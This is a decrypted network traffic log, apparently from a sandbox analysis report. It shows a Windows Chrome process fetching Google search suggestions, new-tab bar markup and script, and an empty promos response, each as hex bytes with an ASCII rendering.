2024-11-27 15:34:30 UTC	124	IN	Data Raw: 64 33 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 32 37 22 2c 22 63 72 79 70 74 6f 20 62 69 74 63 6f 69 6e 22 2c 22 77 61 73 68 69 6e 67 74 6f 6e 20 77 69 7a 61 72 64 73 20 63 68 69 63 61 67 6f 20 62 75 6c 6c 73 22 2c 22 6d 61 70 6c 65 20 73 79 72 75 70 20 63 61 72 64 69 6f 6d 65 Data Ascii: d38)]}'["",["nyt connections hints november 27","crypto bitcoin","washington wizards chicago bulls","maple syrup cardiome
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 74 61 62 6f 6c 69 63 20 62 65 6e 65 66 69 74 73 22 2c 22 77 61 6c 74 20 64 69 73 6e 65 79 20 77 6f 72 6c 64 22 2c 22 67 72 6f 63 65 72 79 20 73 74 6f 72 65 73 20 6f 70 65 6e 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 64 61 79 22 2c 22 73 70 61 63 65 78 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 74 6f 64 61 79 22 2c 22 6b 61 6e 73 61 73 20 63 69 74 79 20 63 68 69 65 66 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d Data Ascii: tabolic benefits","walt disney world","grocery stores open thanksgiving day","spacex rocket launch today","kansas city chiefs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhcm
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 6c 4e 4c 62 55 52 6e 65 44 64 43 59 7a 64 79 61 45 59 32 65 6e 4a 6c 64 32 70 30 61 48 6c 35 61 6e 4e 58 54 55 78 36 62 56 5a 34 65 58 42 49 63 58 42 7a 4c 33 42 76 63 30 39 4b 65 48 56 6b 4d 47 4e 6e 54 45 68 69 61 6d 77 31 63 6b 35 4f 61 47 70 45 4f 55 30 79 54 7a 51 72 4e 6d 51 32 65 58 68 6f 4d 6e 4e 4f 52 58 56 32 61 30 6c 6d 57 56 67 79 56 32 63 76 53 53 39 42 4b 32 31 74 5a 44 42 76 61 32 6c 6d 52 54 52 7a 5a 55 78 47 56 33 52 53 56 56 5a 50 4d 6e 4e 76 4d 56 4a 59 55 48 6f 31 63 54 6c 71 52 45 74 6b 65 57 6f 31 62 6a 52 42 5a 58 42 51 52 32 39 55 57 6b 56 70 61 57 52 4c 4f 45 31 61 63 6b 74 36 54 31 67 76 54 30 77 78 4d 53 73 78 57 45 52 4e 63 57 4d 77 4d 7a 52 72 59 55 52 75 53 30 6c 70 51 32 56 44 55 6a 6c 4b 57 6e 64 55 4f 58 67 77 61 6d 55 72 Data Ascii: lNLbURneDdCYzdyaEY2enJld2p0aHl5anNXTUx6bVZ4eXBIcXBzL3Bvc09KeHVkMGNnTEhiamw1ck5OaGpEOU0yTzQrNmQ2eXhoMnNORXV2a0lmWVgyV2cvSS9BK21tZDBva2lmRTRzZUxGV3RSVVZPMnNvMVJYUHo1cTlqREtkeWo1bjRBZXBQR29UWkVpaWRLOE1ackt6T1gvT0wxMSsxWERNcWMwMzRrYURuS0lpQ2VDUjlKWndUOXgwamUr
2024-11-27 15:34:30 UTC	487	IN	Data Raw: 68 4f 58 52 70 51 55 68 4a 55 31 52 33 4e 47 74 6d 5a 6d 63 32 53 47 68 6a 65 6d 35 34 52 30 39 55 64 45 31 4f 61 6a 52 4d 55 47 6c 6a 56 6a 4a 4f 62 44 4a 71 53 53 74 70 56 6d 56 79 4d 33 6c 30 5a 6c 56 55 4d 6c 52 73 4e 6e 6c 53 53 48 6f 35 56 6b 4e 52 55 56 42 73 62 30 30 76 57 48 68 47 5a 79 39 70 4d 47 35 75 61 32 31 47 51 7a 49 77 59 31 6b 30 57 44 56 73 51 6d 46 4f 4d 6c 55 7a 56 6c 64 33 61 56 42 31 62 32 4e 45 55 56 52 47 59 6c 46 79 61 6a 4a 6f 65 6a 4e 46 52 55 52 30 64 55 70 33 54 53 74 31 63 54 45 30 54 57 6f 30 57 57 4a 59 52 47 35 61 4f 58 64 57 63 31 4a 4a 59 6b 68 77 4e 32 51 32 4d 47 6b 35 4e 6d 49 76 61 31 68 55 4d 57 78 6a 55 54 64 54 64 30 35 6f 51 32 68 51 55 48 4e 31 55 45 78 54 63 30 6c 58 52 56 70 4b 51 54 49 72 57 55 63 7a 53 47 Data Ascii: hOXRpQUhJU1R3NGtmZmc2SGhjem54R09UdE1OajRMUGljVjJObDJqSStpVmVyM3l0ZlVUMlRsNnlSSHo5VkNRUVBsb00vWHhGZy9pMG5ua21GQzIwY1k0WDVsQmFOMlUzVld3aVB1b2NEUVRGYlFyajJoejNFRUR0dUp3TSt1cTE0TWo0WWJYRG5aOXdWc1JJYkhwN2Q2MGk5NmIva1hUMWxjUTdTd05oQ2hQUHN1UExTc0lXRVpKQTIrWUczSG
2024-11-27 15:34:30 UTC	90	IN	Data Raw: 35 34 0d 0a 4f 48 49 79 63 45 6f 31 59 56 68 36 65 6a 56 43 53 32 70 6e 4f 47 4e 77 65 48 6c 78 63 6b 31 4a 5a 33 46 53 63 45 30 32 63 6e 5a 4a 4f 54 5a 47 4d 44 42 30 53 79 39 76 4e 55 30 35 55 31 52 31 63 6a 4e 5a 4f 48 46 68 65 45 74 71 4e 32 64 77 59 6c 70 52 0d 0a Data Ascii: 54OHIycEo1YVh6ejVCS2pnOGNweHlxck1JZ3FScE02cnZJOTZGMDB0Sy9vNU05U1R1cjNZOHFheEtqN2dwYlpR
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 61 64 34 0d 0a 4e 6a 49 30 5a 32 39 58 4d 6e 52 4b 4e 30 78 54 5a 56 56 75 51 6b 68 43 4d 45 68 44 62 7a 56 5a 56 30 39 6f 62 45 5a 70 52 44 6b 77 4c 32 39 77 56 33 6c 53 61 33 52 4c 54 6d 52 48 64 6e 46 52 4c 7a 41 79 4f 45 4e 6b 65 6d 4d 78 4d 6b 31 55 4f 56 5a 68 55 32 4e 6d 62 43 74 48 61 6c 55 76 56 58 68 44 55 6d 38 79 5a 30 67 77 55 55 73 35 62 30 31 56 5a 7a 52 42 4f 47 6c 47 65 6a 5a 31 57 55 74 47 4f 56 4a 4e 57 55 38 31 62 58 68 53 53 58 67 35 56 6d 46 52 54 53 39 4e 4e 6d 73 76 56 58 68 47 61 43 39 72 4d 47 70 73 62 58 55 77 54 48 4a 34 65 47 35 6f 59 6d 74 6e 57 46 51 34 62 31 4a 73 54 33 46 4b 53 54 68 4f 4d 6b 35 4b 4e 46 4e 57 57 6b 52 55 65 56 5a 46 57 55 68 51 59 6b 39 70 56 44 6c 58 59 55 74 55 57 55 4e 53 65 6b 5a 73 54 56 56 5a 57 46 Data Ascii: ad4NjI0Z29XMnRKN0xTZVVuQkhCMEhDbzVZV09obEZpRDkwL29wV3lSa3RLTmRHdnFRLzAyOENkemMxMk1UOVZhU2NmbCtHalUvVXhDUm8yZ0gwUUs5b01VZzRBOGlGejZ1WUtGOVJNWU81bXhSSXg5VmFRTS9NNmsvVXhGaC9rMGpsbXUwTHJ4eG5oYmtnWFQ4b1JsT3FKSThOMk5KNFNWWkRUeVZFWUhQYk9pVDlXYUtUWUNSekZsTVVZWF
2024-11-27 15:34:30 UTC	1389	IN	Data Raw: 32 55 31 53 56 49 31 53 56 64 6d 53 53 39 32 4e 31 56 6a 63 31 56 73 52 45 6c 61 53 57 68 6b 61 44 46 71 5a 48 68 49 63 55 59 32 5a 57 31 78 56 33 6c 30 4d 44 4a 6c 53 54 4e 6d 61 46 4e 78 4d 6b 64 68 55 33 41 35 4b 30 39 33 4e 57 46 31 64 58 4a 52 64 48 52 55 63 46 45 72 54 54 52 54 4d 45 64 50 54 55 78 43 53 6b 4e 71 4e 57 56 53 4d 58 4e 68 4e 6d 31 79 53 58 4e 79 54 30 68 36 61 33 46 36 54 32 5a 4b 54 47 74 54 52 32 70 73 65 44 42 30 4d 6a 52 4b 62 32 31 7a 64 56 46 61 56 46 56 6d 4f 45 46 74 52 46 52 32 61 55 49 30 63 44 4e 30 57 6c 5a 6f 63 45 64 57 61 32 78 4b 65 44 4e 35 54 57 4a 53 63 47 52 4d 5a 30 56 43 55 46 56 6a 55 6a 56 79 53 45 68 56 52 6a 64 54 4e 48 51 78 56 7a 67 35 57 48 6b 32 4e 45 4a 68 62 46 4d 32 62 47 67 79 59 57 68 44 59 6c 5a 7a Data Ascii: 2U1SVI1SVdmSS92N1Vjc1VsRElaSWhkaDFqZHhIcUY2ZW1xV3l0MDJlSTNmaFNxMkdhU3A5K093NWF1dXJRdHRUcFErTTRTMEdPTUxCSkNqNWVSMXNhNm1ySXNyT0h6a3F6T2ZKTGtTR2pseDB0MjRKb21zdVFaVFVmOEFtRFR2aUI0cDN0WlZocEdWa2xKeDN5TWJScGRMZ0VCUFVjUjVySEhVRjdTNHQxVzg5WHk2NEJhbFM2bGgyYWhDYlZz
2024-11-27 15:34:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49724	142.250.181.100	443	7556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:29 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 15:34:30 UTC	1018	IN	HTTP/1.1 200 OK Version: 699875240 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 27 Nov 2024 15:34:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 15:34:30 UTC	372	IN	Data Raw: 32 31 30 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 210f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700329,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-27 15:34:30 UTC	1149	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-27 15:34:30 UTC	514	IN	Data Raw: 31 66 62 0d 0a 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f Data Ascii: 1fbb){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Erro
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 Data Ascii: 8000document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003
2024-11-27 15:34:30 UTC	1390	IN	Data Raw: 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c Data Ascii: \"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49725	142.250.181.100	443	7556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 15:34:30 UTC	933	IN	HTTP/1.1 200 OK Version: 699875240 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 27 Nov 2024 15:34:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 15:34:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-27 15:34:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
